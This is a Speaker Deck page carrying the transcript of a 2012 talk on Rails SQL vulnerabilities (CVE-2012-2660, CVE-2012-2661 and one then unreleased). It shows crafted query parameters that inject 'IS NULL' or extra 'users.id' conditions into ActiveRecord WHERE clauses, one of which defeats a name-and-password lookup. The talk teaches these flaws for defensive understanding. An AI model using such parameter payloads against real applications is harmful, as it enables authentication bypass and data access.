Upgrade to Pro
— share decks privately, control downloads, hide ads and more …
Speaker Deck
Features
Speaker Deck
PRO
Sign in
Sign up for free
Search
Search
"Recent Rails SQL Issues" - 2012
Search
Justin Collins
April 23, 2015
Programming
0
67
"Recent Rails SQL Issues" - 2012
Justin Collins
April 23, 2015
Tweet
Share
More Decks by Justin Collins
See All by Justin Collins
Continuous (Application) Security at DevOps Velocity
presidentbeef
0
140
The Evolution of Rails Security
presidentbeef
1
800
Brakeman RailsConf 2017 Lightning Talk
presidentbeef
0
140
Practical Static Analysis for Continuous Application Security
presidentbeef
0
200
"...But Doesn't Rails Take Care of Security for Me?"
presidentbeef
1
430
Continuous Security with Practical Static Analysis
presidentbeef
1
300
Security Automation at Twitter - Rise of the Machines
presidentbeef
0
230
The World of Rails Security - RailsConf 2015
presidentbeef
8
1.2k
Tales from the Crypt
presidentbeef
1
230
Other Decks in Programming
See All in Programming
A2A プロトコルを試してみる
azukiazusa1
2
1.2k
LINEヤフー データグループ紹介
lycorp_recruit_jp
0
970
git worktree × Claude Code × MCP ~生成AI時代の並列開発フロー~
hisuzuya
1
490
データの民主化を支える、透明性のあるデータ利活用への挑戦 2025-06-25 Database Engineering Meetup#7
y_ken
0
320
Elixir で IoT 開発、 Nerves なら簡単にできる!?
pojiro
1
150
Hypervel - A Coroutine Framework for Laravel Artisans
albertcht
1
100
C++20 射影変換
faithandbrave
0
540
Blazing Fast UI Development with Compose Hot Reload (droidcon New York 2025)
zsmb
1
240
ASP.NETアプリケーションのモダナイズ インフラ編
tomokusaba
1
420
ruby.wasmで多人数リアルタイム通信ゲームを作ろう
lnit
2
280
Google Agent Development Kit でLINE Botを作ってみた
ymd65536
2
200
XSLTで作るBrainfuck処理系
makki_d
0
210
Featured
See All Featured
I Don’t Have Time: Getting Over the Fear to Launch Your Podcast
jcasabona
32
2.3k
Why You Should Never Use an ORM
jnunemaker
PRO
57
9.4k
StorybookのUI Testing Handbookを読んだ
zakiyama
30
5.8k
Gamification - CAS2011
davidbonilla
81
5.3k
Thoughts on Productivity
jonyablonski
69
4.7k
Designing Dashboards & Data Visualisations in Web Apps
destraynor
231
53k
Docker and Python
trallard
44
3.4k
Testing 201, or: Great Expectations
jmmastey
42
7.5k
How GitHub (no longer) Works
holman
314
140k
A better future with KSS
kneath
239
17k
Fireside Chat
paigeccino
37
3.5k
Imperfection Machines: The Place of Print at Facebook
scottboms
267
13k
Transcript
Rails Vulnerabilities Last Week CVE-2012-2660 CVE-2012-2661
CVE-2012-2660 Allows unexpected “IS NULL” in queries Affects Rails 2.x
and 3.x
ActiveRecord Query unless params[:name].nil? @user = User.where(:name => params[:name]) end
Query Parameters ?name[] {"name"=>[nil]}
ActiveRecord Query unless [nil].nil? @user = User.where(:name => [nil]) end
Resulting SQL SELECT "users".* FROM "users" WHERE "users"."name" IS NULL
CVE-2012-2661 Allows some manipulation of WHERE clause via “dotted” query
keys Affects Rails 3.x
ActiveRecord Query User.where(:name => params[:name])
ActiveRecord Query User.where("users.name" => params[:name])
Query Parameters ?name[users.id]=1 {"name"=>{"users.id"=>"1"}}
ActiveRecord Query User.where(:name => {"users.id" => "1"})
Resulting SQL SELECT "users".* FROM "users" WHERE "users"." id" =
1
Unreleased Vulnerability Allows some manipulation of WHERE clause via nested
hashes in query values Affects 2.3.x and 3.x
ActiveRecord Query User.where(:name => params[:name], :password => params[:password])
Query Parameters ?name[users][id]=1&password[users][id]=1 {"name"=>{"users"=>{"id"=>"1"}}, "password" =>{"users"=>{"id"=>"1"}}}
ActiveRecord Query User.where( :name => {"users"=>{"id"=>"1"}, :password => {"users"=>{"id"=>"1"} )
Resulting SQL SELECT "users".* FROM "users" WHERE "users"." id" =
1 AND "users"."id" = 1